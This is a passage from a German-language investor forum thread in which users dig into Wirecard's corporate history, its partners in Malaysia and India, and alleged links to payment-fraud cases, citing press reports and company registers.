      Mr. Angel’s prior experience in gaming matters includes being the co-founder of the Interactive Gaming Council (“IGC”) and a member of its Board of Directors since inception in 1996. Mr. Angel has testified before several governmental bodies on gaming topics and has been a frequently invited speaker at global gaming conferences.

      Mr. Angel was in private law practice in Washington, D.C. in the late 1980’s, and prior to that, a U.S. Justice Department attorney responsible for litigating a major segment of the landmark U.S. vs. AT&T divestiture case.

      http://www.casino-forum.net/online-casino-news/5817-casinoko…

      Die Sponsoren:

      Sponsorship: Conference Folders Sponsor
      Company: Click2Pay
      Stand: 306

      Sponsorship: Conference Gifts Sponsor
      Company: FirePay
      Stand: NA

      Sponsorship: Conference Badge Sponsor
      Company: NETELLER
      Stand: 100

      Sponsorship: Platinum Sponsor
      Company: River City Speedway
      Stand: 108

      Sponsorship: Gold Sponsor
      Company: NETELLER
      Stand: 100

      Sponsorship: Gold Sponsor
      Company: Playtech
      Stand: 206

      Sponsorship: Silver Sponsor
      Company: Click2Pay
      Stand: 306

      Sponsorship: Silver Sponsor
      Company: Orbis
      Stand: 233

      Sponsorship: Silver Sponsor
      Company: RealTime Gaming
      Stand: 204

      Sponsorship: Bronze Sponsor
      Company: Gateway Financial Services
      Stand: 308

      Sponsorship: Bronze Sponsor
      Company: Mohawk Internet Technologies
      Stand: NA

      Sponsorship: Bronze Sponsor
      Company: Net Entertainment
      Stand: 408


      Vortrag ua von
      Tobias Schreyer
      PartyGaming, Gibraltar
      Roundtable: Payment Processing Challenges
      Day 1: Monday, June 13
      Time: 1700
      Tobias Schreyer is the director of payments for PartyGaming in Gibraltar.


      Meine Güte, darüber könnte man ja Bücher schreiben...
      Avatar
      schrieb am 01.01.17 13:13:16
      Beitrag Nr. 248 ()
      Ich beginne das Jahr mit einer kleinen Geschichte:
      Den Film "The Wolf of Wall Street", den kennt ihr?

      Der Produzent des Films war Riza Aziz. Leonardo di Caprio bedankte sich bei seiner Dankesrede anlässlich der Verleihun…. Dieser ist ein "Berater" von Najib Razak, der 2009 zum Premier von Malaysia wurde. Riza Aziz ist ein Stiefsohn des Premiers.
      Belege (exemplarisch)
      Inside Story of woprld's biggest financial scandal (Guardian)
      Wolf of Wall Street Corruption Timeline (The Hollywood Reporter)
      s.a. DealStreetAsia-Bericht

      Was hat das mit der Wirecard zu tun?
      Wird sie irgendwo erwähnt?

      Nein. Aber die 1MDB-Geschichte ist ja nicht das einzige "Schandmal" der Korruption in Malaysia...
      Eine meiner Informationszulieferer aus Südostasien, ich nenne sie mal "lala", hat mir vor Monaten schon diesen lustigen Artikel empfohlen, der ist aus dem April. Ich habe den Zusammenhang irgendwie nicht verstanden...

      Solche Sachen lege ich dann auf einen großen Stapel zum "erneut lesen". Dabei fand ich jetzt den Zusammenhang - aber der hat sich inzwischen (eigentlich?) schon wieder erledigt. Trotzdem erzähle ich ihn, weil er mal wieder genau zu dem Thema "Legitimität" und "Legalität" passt, das (nach meiner Überzeugung) für Wirecard eines der entscheidenden Themen des Jahres 2017 werden wird...

      Also nun zur Geschichte:

      Im April 2016 ist der Chef einer malaysischen Bank "temporär zurückgereten", um eine unabhängige Untersuchung zu ermöglichen. Es ging dabei um eine fragwürdige 7-Mio-US$-Zahlung seiner Bank an Najib Abdul Razak, den Premier in Malaysia, der sein Bruder ist.
      Quelle

      Bleiben wir zunächst beim Bruder, dem Premier von Malaysia: Obwohl die USA und andere Länder Untersuchungen ankündigten, blieb er laut Berichten aus dem Juli "ungerührt". (Quelle).
      “Najib supporters placed in key positions across government (including in the Attorney-General’s Office and the anti-corruption commission) will continue to shield the prime minister from any probe by blocking access to information or evidence that could implicate him,” the note said.
      Najib has consistently denied any wrongdoing. Local investigations have also cleared him, although transactions related to 1MDB are under investigation in at least six countries for money-laundering, fraud and other offences.


      Die Untersuchungen u.a. in den USA werden als "Belastung der Beziehungen zwischen Malaysia und den USA" gesehen (ebenda), aber:
      The Obama administration sees Kuala Lumpur as a key partner in its fight against radical Islamists and Najib as a key ally in Obama’s strategic pivot to Asia.
      (Quelle: ebenda).

      In Malaysia selbst werden Informationen über den Skandal unterdrückt
      The story about the US lawsuits made headlines around the world, but not in Malaysia, where major local newspapers, controlled directly or indirectly by the government, and the state news agency largely ignored it today.
      (ebenda, s.a. BBC, "die Entwicklungen werden in den Medien ignoriert")

      Am 1.9.2016 erschien ein kritischer Artikel auf CNBC (Quelle) unter dem Titel "Was machen schon ein paar fehlende Milliarden unter Freunden?
      Riza was named as a "relevant individual" in the complaint, but Najib wasn't named. However, media have reported, citing unnamed sources, that the complaint's 32 references to "Malaysian Official 1," who allegedly received hundreds of millions from 1MDB, were to Najib.
      Najib has repeatedly denied wrongdoing and, under pressure from the outcry caused by the WSJ report, said the funds were a private donation from a Middle Eastern country he declined to name at that time. He has denied benefiting personally from the funds.


      Die Information, dass tatsächlich der Premier in den Fall verwickelt sein könnte, führte trotz aller Erklärungen, es sei nichts Illegales geschehen, zu Unruhen in Malaysia:
      http://www.cnbc.com/2016/11/19/bersih-5-thousands-march-in-m…

      Berichte aus Deutschland:
      http://szhf.ard-infocenter.de/ausland/malaysia-demonstration…

      Aus dem Staatsfonds sind mehr als drei Milliarden US-Dollar verschwunden oder auf ausländische Bankkonten mit unbekannten Eigentümern abgeflossen. Die Ermittlungen beschäftigen Behörden rund um den Globus. In mindestens sechs Ländern laufen Geldwäsche-Untersuchungen. Najib und der Fonds bestreiten jegliches Fehlverhalten. Millionenbeträge auf seinen persönlichen Konten erklärte der Ministerpräsident mit Spenden aus Saudi-Arabien.


      Zurück zu Nazir Razak, der kehrte bereits im Mai zurück.
      Quelle

      Nazir Razak, the brother of Malaysian Prime Minister, Najib Razak, has been cleared of any wrongdoing by an independent investigation undertaken by CIMB Group. Nazir has now resumed his role as CIMB Group chairman and CIMB Bank director.(...) An external audit firm, Messrs Ernst & Young, were appointed to investigate and it also sought independent legal advice to assist them with the review. (...) Although he admitted to transferring the money, Nazir insisted he did nothing illegal. (...) Although the review concluded that Nazir did not misuse his position as the Group Chief Executive at the time, nor was there any inappropriate use of the bank's resources, it did identify some shortcomings in current banking processes. CIMB said management have been ordered to put into place plans for immediate improvements.


      Im September erklärte er noch einmal, wie unangenehm ihm das alles sei (Quelle)
      "And the reason why this story comes up is because of the questions around the legitimacy of the funds that I was given, that's why it became a story. Without that, there's no story."
      To a question, Nazir said he believed the money he had helped channel for his brother was campaign donation.
      "And that may not be a done thing in all countries, but that happens in many countries in an election period.
      "I'd say that I found it… it was upsetting to be dragged into this whole 1MDB controversy.(...) "...of course it was very upsetting, because I was determined that CIMB be nowhere near 1MDB," he said.


      Das Geld für seinen Bruder, den möglicherweise korrupten Staatschef - formal also kein Problem. War halt eine Parteispende eines Bankchefs, auch noch innerhalb der Familie, in einem Land, in dem - wie eingangs zitiert - der Premier Schlüsselstellen mit Gefolgsleuten besetzt. Macht man ja so als Premier. Alles ok.

      Gut so, denn natürlich werdet Ihr längst gemerkt haben: "CIMB? Da war doch was?"

      Na klar!
      Das ist ein wichtiger Partner der Wirecard in Singapore!
      Also durchatmen. Der Bruder des Premierministers hat nichts Illegales unternommen. Noch ein zweifelhafter Wirecardpartner, das wäre echt irgendwann zu viel!

      Na dann: Auf gute Geschäfte mit Malaysia und Singapore. Vielleicht ja schon bald mit der Senjo Group? Die sind (Fintech-)Investor dort und haben unlängst Kalixa gekauft, die Paymentsparte des (früheren?) Wirecardpartners BWin... (Bwin bets on Click2Pay)(Jochen Reichert zählt Betandwin schon 2004 als Partner auf, Quelle: "Börsengang der Wire Card durch Reverse IPO", 16.12.2004, S. 11) (nicht viel später, nämlich etwa 2006, begannen in Österreich Ermittlungen gegen Bwin, u.a. wegen Steuerhinterziehung und illegalen Glücksspiels, die Jahre später eingestellt wurden, also demnach irrelevant sind)

      Der "Head of Commerce" dort (bei Senjo) ist ein gewisser Yoshio Tomiie. Der ist z.B. der Nachfolger eines gewissen Herrn Robert Lock bei der E-Credence (UK)... quelle. Vielleicht kann sich ja noch jemand an den "Rohrkrepierer" erinnern... (2009 gekauft, 2014 verschenkt)...

      Ein weiterer Kandidat für eine Kooperation in dieser Ecke der Welt wäre z.B. in Thailand die aufstrebende Fintechfirma "Paypaid" mit ihrem deutschen CEO, Herrn Mosbach. Er wäre ein perfekter Kandidat für eine Übernahme, denn er ist ein ehemaliger Mitarbeiter! Ist schon eine Weile her, aber - immerhin! 2008 z.B., da war er Mitinhaber einer Firma, über die man unlängst einiges lesen konnte. Bei Reuters, Ihr wisst schon. Wurde ja oft genug verlinkt.
      1 Antwort
      Avatar
      schrieb am 01.01.17 13:30:56
      Beitrag Nr. 249 ()
      Antwort auf Beitrag Nr.: 53.986.343 von jigajig am 01.01.17 13:13:16Korrekturen:
      Link korrigiert, Links ergänzt
      Zitat von jigajig: Ich beginne das Jahr mit einer kleinen Geschichte:
      Den Film "The Wolf of Wall Street", den kennt ihr?
      Der Produzent des Films war Riza Aziz. Leonardo di Caprio bedankte sich bei seiner Dankesrede anlässlich der Verleihung des Golden Globe ausdrücklich bei ihm und bei einem gewissen Jho Low. Dieser ist ein "Berater" (a.a.O. auch "close associate") von Najib Razak, der 2009 zum Premier von Malaysia wurde [s.a. wikipedia).
      Riza Aziz ist ein Stiefsohn des Premiers.



      Links ergänzt:
      Gut so, denn natürlich werdet Ihr längst gemerkt haben: "CIMB? Da war doch was?"
      Na klar!
      Das ist ein wichtiger Partner der Wirecard in Singapore!
      Belege:
      CIMB-Unterseite bei wirecard.asia
      "Partnership agreement" 2015
      Kooperation wirecard/CIMB/JCB, 12/2016

      Also durchatmen.
      Avatar
      schrieb am 02.01.17 16:52:43
      Beitrag Nr. 250 ()
      Im März 2015 bekam Transcorp (auch Trans Corp) eine solche Lizenz. Ich habe über diese Firma im April berichtet, bzw. hatte eine Frage dazu
      Zitat von jigajig: Kennt hier jemand die "Transcorp International"?


      Folgende Firmen haben eine solche Lizenz (in Klammern Anzahl der Filialen)
      (Anmerkung: Die Angabe des Staates bzw. Landesteils bedeutet offensichtlich nur, dass sie dort registriert sind. Die jeweiligen Filialen sind dann auch in Städten in anderen Landesteilen)


      (Stand: unterschiedlich, teilweise August 2016 manchmal November 2016)
      Quelle: Reserved Bank of India
      https://www.rbi.org.in/commonman/English/Scripts/AuthorizedD…


      In Ahmedabad
      GREEN CHANNEL TRAVEL SERVICES (A division of IRM Ltd.) (14)
      Vadilal Industries Ltd. (?)
      Prime Co. Op. Bank Ltd.(?)
      Dahod Mercantile Co op Bank Ltd (?)

      In Bangalore
      M/s Weizmann Forex Ltd (98)
      M/s Travel Tours Pvt. Ltd. (10)
      The Bhatkal Urban Co-operative Bank Ltd. (9)
      M/s Orient Exchange & Financial Services Pvt. Ltd. (21)

      In Chennai:
      ESSEL FINANCE VKC FOREX LIMITED (53)
      PRITHVI SOFTECH LIMITED (15)
      INDIA CEMENTS CAPITAL LTD. (16)

      In Chandigarh
      M/S PAUL MERCHANTS LTD. (110)

      In Hyderabad
      The Darussalam Co-operative Urban Bank Ltd (6)
      The A.P. Mahesh Co-operative Urban Bank Ltd (6)
      The Visakhapatnam Co-operative Bank Ltd (12)
      [Telangana Grameena Bank (0)??]
      The Agrasen Co-operative Urban Bank Ltd (3)

      In Kanpur
      Prathama Bank [0???]
      Shivalik Mercantile Co- Operative Bank Ltd. (14)

      In Kochi
      Lulu Forex Private Ltd. (27)
      Manappuram Finance Ltd. (35)
      Muthoot Forex Ltd. (55)
      Muthoot Fincorp Ltd (461)
      UAE Exchange & Financial Services Ltd.* (385)

      In Kolkata:
      Mercury Travels Ltd. (16)
      R.R. Sen & Bros. Pvt.Ltd. (17)
      Multimoney Forex Ltd. (28)

      In Mumbai:
      CentrumDirect Ltd. (126)
      Cox & Kings (I) Limited (135)
      PHEROZE FRAMROZE & CO.PVT.LTD. (26)
      Thomas Cook (I) Ltd. (178) [Wipro Ltd]
      Wall Street Finance Ltd. (36)
      KANJI FOREX PVT. LTD. (2)
      SUPAMA FOREX PVT. LTD. (10)
      KESARI TOURS PVT. LTD. (18)
      CITIZENCREDIT CO-OP BANK PVT. LTD. (16)
      ACE COOPERATIVE BANK LTD (5)
      NEW INDIA COOP BANK LTD (6)
      THANE BHARAT SAHAKARI BANK LTD. (11)
      THE ZORASTRIAN COOP BANK LTD (1)
      THE MAHANAGAR CO-OP. BANK LTD. (1)
      THE GREATER BOMBAY CO-OP BANK LTD (1)
      SHRI ARIHANT CO-OPERATIVE BANK LTD. (1)
      JANATA SAHAKARI BANK LIMITED (12)
      KALLAPPANA AWADE ICHALKARANJI JANATA SAHAKARI BANK LTD (1)
      APNA SAHAKARI BANK LTD (58)
      Samarth Sahakari Bank Ltd. (6)
      The Sahebrao Deshmukh Co-op. Bank Ltd. (1)
      GP Parsik Bank (61)
      NKGSB CO-OP BANK LTD. (102)

      In New Delhi:
      Department Of Posts (1000)
      Supreme Securities Ltd (20)
      American Express banking Corporation (1)
      D.Paul'S Travel & Tours Ltd (1)
      Transcorp International Ltd. (24)
      Quick Forex Ltd (1)


      In Category I sind es genau 106 Banken, u.a.
      The Royal Bank of Scotland N.V.
      Axis Bank Ltd.
      Bank of America
      Barclays Bank
      BNP Paribas
      Credit Agricole
      Citi Bank
      Deutsche Bank
      DBS Bank *
      ICICI Bank
      JP Morgan
      Kotak Mahindra Bank
      Societe General
      State Bank of India
      Yes bank Ltd*
      UBS
      Credit Suisse



      Star Global Currency Exchange Private Limited
      (zuvor GUIDE TRAVELS AND FOREX SERVICES PRIVATE LIMITED )
      siehe hier)

      company # 61735
      CIN

      U63000KA2011PTC061735
      19 December 2011
      "Supporting and auxiliary transport activities; activities of travel agencies"
      Mitarbeiter: 20-100

      etwas ungewöhnlich finde ich, dass keiner der Direktoren vor September 2013 ernannt wurde und es laut indischem Register auch keine früheren Direktoren gab. Das kann ich nicht verstehen.

      s.a. meine Recherchen aus dem August:
      Zitat von jigajig: Geschichten aus Chennai
      (und ff)


      00353652

      ROHIDAS BHAT VITHAL

      Director

      21 October 2013

      (auch Direktor der Comfort Miles & Points Private limited, siehe hier [= comfortleisure.com siehe unten])
      (auch Direktor der TT Insurance Broker Services, siehe hier, ich vermute, dass "TT" für "TATA" steht, jedenfalls gibt es hier auch eine Verbindung zu TATA Capital Forex Limited)

      02105550

      RAMESH KUMAR BALASUNDARAM

      Director

      21 October 2013
      (er ist auch Direktor (gewesen) bei einer Menge anderer Firmen aus dem Bereich Flughäfen/Flugreisen, interessant zu erwähnen sind v.a. die "ORBIT CORPORATE & LEISURE TRAVELS (I) PRIVATE LIMITED" (siehe meine Recherchen im August) sowie "Comfort Leisure Private Limited", siehe hier. Diese bieten u.a. auch selbst Forexdienste an (comfortleisure.com)

      6740103

      DEVIKA RAMESH KUMAR

      Director

      18 November 2013



      MANOJ KUMAR SAHU

      Director

      04 February 2016

      (Das ist anscheinend der "neue Mann" in Indien, er ist auch Direktor der Hermes I Tickets Private Limited seit 04 February 2016 und der GI Technology Proivate Limited seit dem 24. Februar 2016)


      RAMESHKUMAR VINAYAK

      Director

      21 October 2013

      s.a. Comfort Leisure Private Limited (hier) (siehe oben)
      interessant auch diese Firma Star Destination Management, aber da wird es dann endgültig uferlos)

      Fazit: Hmm. Kein Wunder eigentlich, dass man aus informierten Kreisen hört, dass es "noch etwas dauern wird, bis wir Indien wirklich verstehen")
      Avatar
      schrieb am 02.01.17 20:55:08
      Beitrag Nr. 251 ()
      Es gibt keinen direkten Bezug. Es gibt einen... nun ja... sagen wir mal... strukturellen Bezug. Das jahr 1996 ist zwei Jahrzehnte her...

      Zitat von v0000v: Übrigens wurde Wirecard 1999 gegründet.

      Ja und Nein...

      Kuck zunächst mal das hier an.
      http://ipo.onvista.de/operation.html?ID_IPO=9145

      Lies bitte:
      InfoGenie GmbH IT- und Informationsdienstleistungen, Berlin
      Mitarbeiter (1999): 3
      Geschäftsleitung: Dipl.-Ing. Markus Semm, Berlin
      Gründungsdatum: 25. Juni 1997
      InfoGenie Ltd., Windsor Berks, United Kingdom
      Geschäftsleitung: Britta Schassan, Director, Windsor, England; Robert Henry, Managing Director, Windsor, England
      Gründungsdatum: 11. November 1997



      Dann erzähl ich mal ein wenig...

      Die "Wire Card AG", die heute die "Wirecard AG" ist, entstand am 14. Dezember 2004 durch Umbenennung der "Infogenie Europe AG", Berlin (ehemals München, ehemals Berlin, gegründet 6. Mai 1999 von Markus Semm und der U.C.A. Aktiengesellschaft (vormals U.C.A. Unternehmerconsult AG München)
      (Quelle: wertpapierprospekt der "Wire Card AG" vom 21. Oktober 2005, S. 18)
      [Stefan-George-Ring 19, München!]

      Am 20. Juni 2000 war die "Infogenie Europe AG" unter der HRB 131672 in München eingetragen worden (ebd., S. 91), am 28. August 2002 wurde beschlossen, die Firma wieder nach Berlin umzuziehen, dort wurde sie am 5. März 2003 eingetragen (HRB 88060) (ebd.), dies wurde am 12. März 2003 im Münchner Handelsregister vermerkt (Quelle: Handelsregister AG München)

      Das Datum "6. Mai 1999" ist etwas knifflig.

      Im Geschäftsbericht 2003 der Infogenie steht das auch so drin:
      "Die InfoGenie Europe AG, An den Treptowers 1, 12435 Berlin, Deutschland, (im Folgenden „InfoGenie“oder „Gesellschaft“genannt) wurde am 6. Mai 1999 gegründet."

      Es gab (anscheinend) bereits 1997 eine Infogenie in UK
      INFOGENIE LIMITED was registered 1997
      (Quelle: companieshouse)
      Diese wurde erst 2012 aufgelöst... Gründungsdirektoren waren:
      Name: BRITTA MANUELA SCHASSAN (dissolve)
      Title: Director, 1997.11.11 - 2001.06.01
      Location: HIGH TREES ST LEONARDS HILL , WINDSOR
      Name: MARKUS ALFRED SEMM (dissolve)
      Title: Director, DIPL. ING, 1997.11.11 - 1999.09.22
      Location: HORST WEG 24 , BERLIN

      Wie gesagt... 1997...

      (Quelle i.f.: Erläuterungen zum Konzernabschluß der Infogenie Europe AG München)
      Dabei handelte es sich NICHT um die 2013 gegründete Infogenie Limited (08480313), sondern um jene "Infogenie Limited", die am 5. Juli 2000 durch Sachkapitalerhöhung in die Infogenie AG kam (S. 7), von der Infogenie allerdings laut Geschäftsbericht bereits 1999 übernommen wurde (S. 5, zumindest wurde es 1999 aufgeführt), zusätzlich wurde sie a.a.O. auch noch "pro forma" so berechnet, als sei sie am 1. Januar 2000 übernommen worden (S. 13)
      Im Juli und August 2000 wurde beschlossen, 403.683 Aktien der AG aufzuwenden, um die Infogenie Limited zu übernehmen (S. 16).
      Am 27. Januar 2000 war die Infogenie Deutschland GmbH als Sacheinlage in die AG eingebracht (S. 14)
      Am 25. Oktober 2000 ging die Infogenie an die Börse (Neuer Markt)

      Auch dort steht als Gründung der 6. Mai 1999.

      Die Geschichte der Infogenie begann allerdings schon früher:
      xx.12.1996
      Global Connect GmbH, Horstweg 24, Berlin, GF: Sandra Much, HRB 60872 Berlin
      03.09.1997
      Global Connect, GF: Markus Semm („Gründer Infogenie“)
      25.09.1997
      Infogenie GmbH IT- und Informationsdienstleistungen, Horstweg 24, Berlin, GF: Markus Semm, Christian SchmidtMoormann (bis 9/98), HRB 64241 Berlin
      06.05.1999
      Verschmelzung Infogenie mit Tele-Fakten GmbH (HRB 65381)

      (Quelle: "Wirecard AG Dossier, Part 2: The beginnings from 1994 to 2000, Infogenie meets EBS", 2008, unveröffentlichtes Manuskript)

      Da ist das Datum "6. Mai 1999" wieder...

      s.a.
      http://www.bloomberg.com/research/stocks/private/snapshot.as…
      Man beachte die Adresse dort:

      Max-Planck-Strasse 3
      Aschheim, 85609
      Germany
      Founded in 1999
      Phone:
      49 89 212 66 0
      Fax:
      49 89 212 66 222

      HRB 169227 München
      "Wirecard AG, Grasbrunn (Bretonischer Ring 4, 85630 Grasbrunn). Aktiengesellschaft. Satzung vom 06.05.1999"

      Wirecard AG, Grasbrunn (Bretonischer Ring 4, 85630 Grasbrunn). Aktiengesellschaft. Satzung vom 06.05.1999, zuletzt geändert am 30.10.2006. Die Hauptversammlung vom 14.06.2007 hat die Änderung der §§ 1 (Sitz, bisher Berlin, Amtsgericht Charlottenburg, HRB 88060 B und Geschäftsjahr),... Folgende Gesellschaften sind bisher auf die Gesellschaft verschmolzen: InfoGenie Deutschland GmbH, Berlin (Amtsgericht Charlottenburg, HRB 64241). InfoGenie ComService GmbH, Berlin (Amtsgericht Charlottenburg, HRB 80913). ... Auf Grund des Verschmelzungsvertrages vom 29.06.2005 und des Zustimmungsbeschlusses vom 24.08.2005 ist die net sales GmbH mit Sitz in Grasbrunn (Amtsgericht München HRB 148684) durch Übertragung ihres Vermögens unter Auflösung ohne Abwicklung als Ganzesauf die Gesellschaft verschmolzen. Auf Grund des Verschmelzungsvertrages vom 29.06.2005 und des Zustimmungsbeschlusses vom 24.08.2005 ist die InfoGenie Global GmbH mit Sitz in Grasbrunn (Amtsgericht München HRB 141515) durch Übertragung ihres Vermögens unter Auflösung ohne Abwicklung alsGanzes auf die Gesellschaft verschmolzen.

      Dieses "Satzung vom 06.05.1999" - wo kommt das her???

      Im Geschäftsbericht der Infogenie ist es jedenfalls nicht drin, da steht aber:

      Am 6. Mai 1999 hat die lnfoGenie GmbH 100% der Anteile an der Global Connect GmbH Busi-
      ness Development & Trading, Berlin (im Folgenden "Global Connect GmbH"), gegen Zahlung
      eines Kaufpreises in Hohe von TEUR 26 erworben. Zum Erwerbszeitpunkt war der alleinige
      Gesellschafter der lnfoGenie GmbH gleichzeitig alleiniger Gesellschafter der Global Connect
      GmbH. (...)
      Die Tele-Fakten GmbH Informationsdienstleistungen (im Folgenden "Tele-Fakten GmbH" ge-
      nannt) wurde am 6. Mai 1999 auf die lnfoGenie GmbH verschmolzen. Dabei handelte es sich
      ebenfalls um eine Transaktion zwischen Unternehmen unter einheitlicher Kontrolle


      Was dort "Infogenie GmbH" genannt wird, das ist die "Infogenie Deutschland GmbH", ehemals "Infogenie GmbH IT- und Informationsdienstleistungen" (so steht es im "Bestätigungsbericht des Abschlußprüfers für den befreienden Konzernabschluß", Infogenie Europe AG, Dr Wagener, Selöter, Arthur Andersen, Berlin 2001)

      Also das war der 06.05.1999
      1999.10.07 Tele-Fakten/Infogenie (65381/64241)
      INFOGENIE GmbH
      7.10.1999 Tele-Fakten GmbH verschmolzen
      Die Gesellschaft ist auf Grund des Verschmelzungsvertrages vom 6. Mai 1999 und der jeweils zustimmenden Beschlüsse der Gesellschafterversammlungen vom selben Tage durch Übertragung ihres Vermögens als Ganzes unter Auflösung ohne Abwicklung auf die InfoGenie GmbH IT- und Informationsdienstleistungen mit Sitz in Berlin verschmolzen.
      (Quelle: "Wirecard AG Dossier, Part 2: The beginnings from 1994 to 2000, Infogenie meets EBS", 2008, unveröffentlichtes Manuskript)

      Ich weiß nicht, auf was sonst sich dieses Datum beziehen soll.

      Wenn man also die Gründung der Wirecard von der Infogenie aus betrachtet, wäre eher 1997 das richtige Datum, eigentlich sogar 1996 (Global Connect)

      Daher passt der Screenshot sehr wohl.

      Und ich möchte noch eine andere Sache erwähnen: Man schaue sich die "Infogenie UK" mal näher an...
      2011 gab es die letzte Angabe über den Inhaber: Die "Infogenie Europe AG" :)

      Spannend aber vor allem eine andere Direktorin, Frau Schassan. Sie ist nicht bei vielen Firmen Direktorin unter diesem Namen :)
      Aber bei sehr spannenden Firmen...
      Sie hieß später nicht mehr Schassan, sondern hatte den namen des Aufsichtsrates der Infogenie, der dann abgelöst wurde von Gerd Eickers, dem Gründer von QSC.
      Und damit schließt sich nur einer der vielen Kreise...

      https://www.heise.de/ct/artikel/Der-Gesetzgeber-laesst-uns-i…

      ...aber wahrscheinlich ist es viel einfacher und mit "Gründung 1999" ist DAS hier gemeint:


      Dann würde ich aber nicht verstehen, warum das nicht im Lebenslauf des Herrn Braun steht.

      Außerdem würde mich interessieren:
      - was auf dem Laptop des Herrn Braun war, das laut Medienberichten gestohlen wurde
      - warum die "Wire Card AG" pleite gegangen ist
      - wie es sein kann, dass die "Wire Card AG", die 1999 gegründet wurde, im Jahr 2002 aufgelöst wurde und trotzdem Grundlage der Aussage sein kann, dass Wirecard 1999 gegründet wurde?

      "Wire Card AG pleite?"





      und hier: geschäftsbericht der "Wire Card AG" von 2004:

      da steht 1996:


      Wire Card AG = Infogenie AG + Wire Card Technologies AG


      "Wire Card Technologies AG" hat die HRB 142427 (ehemals "Wire Card AG")
      Diese wurde gegründet als cyflenwad-Vorratsgesellschaft der FORIS AG (zu der später Silberbergers GoAhead gehörte)



      wie gesagt alles nicht so einfach
      Avatar
      schrieb am 14.01.17 17:50:37
      Beitrag Nr. 252 ()
      Thorsten Holten/offtopic

      Man darf gespannt sein, wie transaprent der Übergang der Citi Prepaid in die Wirecardfamilie abläuft und welche Fragen da am Ende übrig bleiben... Warum erzählt eigentlich Holten diese Geschichte mit dem Dollar-Hedging? Im Verfolgungswahnmodus würde ich denken, um den Kaufpreis anzudeuten?

      Holten wurde 2012 schon einmal in einem Bericht erwähnt und nannte dort auch eine erstaunliche Zahl...
      http://www.dertreasurer.de/news/persoenlich-personal/doppelt…
      Mittlerweile managt Holten Geldanlagen von mehr als 200 Millionen Euro, knapp die Hälfte davon Kundeneinlagen.

      Soll nicht die Bluemay zu dieser Zeit ein 36-Mio-Konto gehabt haben bei Holtens Bank? Wo zählte das denn dazu? Und wie hoch ist dann der Anteil allein dieses Kontos an den Kundeneinlagen gewesen?
      36 Millionen von 100 Millionen? mamma mia... da muß ich mich doch jetzt irgendwo verrechnen, oder?
      Zatarra rechnet mit den 2013er-Zahlen und kommt auf 14% (36 Mio geteilt durch 260 Millionen). Immer noch ganz schön viel... aber wenn man annehmen würde, dass dieses Geld erst 2013 kam, dann wäre das Wachstum der Kundeneinlagen von 2013 zu 2012 zu fast 20% allein durch Bluemay entstanden... es bliebe bei mamma mia...


      Holten ist seit 2002 bei der Wirecard, der wäre sicherlich ein interessanter Gesprächspartner...
      ...und die möglichen Fragen auf der nächsten Hauptversammlung, das wird ja mehr Text als der Geschäftsbericht. Gibt es da eigentlich Limits für die Fragen? Dann müsste ich das vorher üben, um es mögloichst schnell runterbeten zu können :)
      Avatar
      schrieb am 19.01.17 21:19:53
      Beitrag Nr. 253 ()
      Zitat von EmBranti: Darüber wurde so viel diskutiert, dass es den meisten Forumsteilnehmern vermutlich nur noch auf die Nerven geht.
      Diese ganze Knöchelmanntheater das als Kursentscheidend verkauft wurde und im Endeffekt genau nichts bewegt hat, war einfach viel blabla, aber wenig relevantes.

      Es wurde überhaupt nicht diskutiert! Überhaupt nicht! Ich habe monatelang davon gesprochen, dass es dieses Verfahren gegen einen früheren Wirecardmanager gibt, was Braun und Ley ja als Lüge bezeichnet haben. Und es gab dieses Verfahren.
      Ich habe mich schlau gemacht und gesagt, dass Knöchelmann verurteilt werden würde, was alle als Halluzination abgetan haben.
      Jetzt denken alle, dass in Israel nichts Wichtiges passiert ist, aber sie stützen sich auf die Interpretation eines Zitats des Staatsanwalts und des Angeklagten. Wenn Wirecard kein Thema in Israel war, folgt daraus aber eben nicht, dass bewiesen wäre, dass Wirecard dort nichts direkt oder indirekt gemacht hat. Es war nur nicht Thema. So ähnlich wie in Consett, mit Wire Card UK und Bluetool. Was heißt so ähnlich... Exakt gleich! Wenn es aber exakt gleich ist, stellt sich die Frage, ob es dann wieder Zufall sein kann, wie mit Wire Card UK und Bluetool. Vor allem, wenn der Beteiligte eben nicht irgendein Herr Schütt war, sondern ein Wirecardmanager. In diesem Zusammenhang erinnere ich an diesen Beitrag von mir:
      Zitat von jigajig: Deine Frau Antonia sagt "ich gehe heute mit meiner Freundin Elsa spazieren".
      Da es für nicht relevant gehalten wird, wird nicht geprüft, ob es relevant ist. Das ist klassische Tautologie.
      Mehr sage ich dazu nicht. Es gibt wesentlich klügere Menschen als mich, die sich den Kopf zerbrechen, wie man diese Geschichte so erzählen könnte, dass sie einfach verständlich ist.
      Oder, wie es bei zatarraleaks heißt:
      F. Perring on a chat with I.Hollins: “When it was being explained to Dan, I thought the story is complex he said what’s the conclusion of it? It needs a simple explanation sheet like a guide. I did start working on some hand written notes, an idiots guide so to speak for people that need to grasp it simply (me). If the trade is proceeding I’ll continue this.

      (Zatarra RIP report, Seite 3)
      Hmm. Und wenn nicht? Dann veröffentlichen die Leute ihr Material halt einfach so, wie whistleblowerwd. Das wird dann nicht so oft gelesen wie Alasdair Pal's geniales mind the gap-Stück über den Director der Wire Card … - aber wer weiß, was sich die klügeren Leute als ich als nächstes einfallen lassen.
      15%, you know.

      #mailyael
      Avatar
      schrieb am 19.01.17 21:42:24
      Beitrag Nr. 254 ()
      Über die Risiken für Zahlungsdienstleister in den USA...
      Western Union has known for years that scammers were using its system to commit significant fraud. [...] today, in a global settlement with the FTC and the US Department of Justice, Western Union agreed to return $586 million to people and create a real and strong anti-fraud program.
      (Quelle
      Als ein Beispiel für den Betrug, den Western Union offenbar geduldet hatte, sind Gewinnspiele. Da hat es ja in Deutschland auch schon Probleme gegeben, beispielsweise für Pay4 und den früheren Chef von Webtrade. Aber das war zum Glück für alle Beteiligten in Deutschland, nicht in den USA...
      http://antiabzockenet.blogspot.de/2011/12/prozess-um-gewinns…
      Ein zweiter Angeklagter ist Jens L, der Geschäftsführer des Paymentdienstleisters Pay4 GmbH aus Frankfurt. Die Firma soll laut dem leitenden Staatsanwalt ab einem gewissen Zeitpunkt Kenntnis gehabt haben, wie die angeblichen "Verträge" zustande gekommen sind und trotzdem sollen die Abbuchungsaufträge weiter durchgeführt worden sein.


      Just jener Jens L., in dessen Forum damals stand, dass etwas passiert sei, was laut Behauptung der Wirecard nie passiert sein soll.
      Näheres dazu:
      https://de.scribd.com/document/333279600/Report-I-Wirecard-A…
      ...und hastdunichtgesehen ist man wieder bei Knöchelmann :)
      Avatar
      schrieb am 20.01.17 20:10:23
      Beitrag Nr. 255 ()
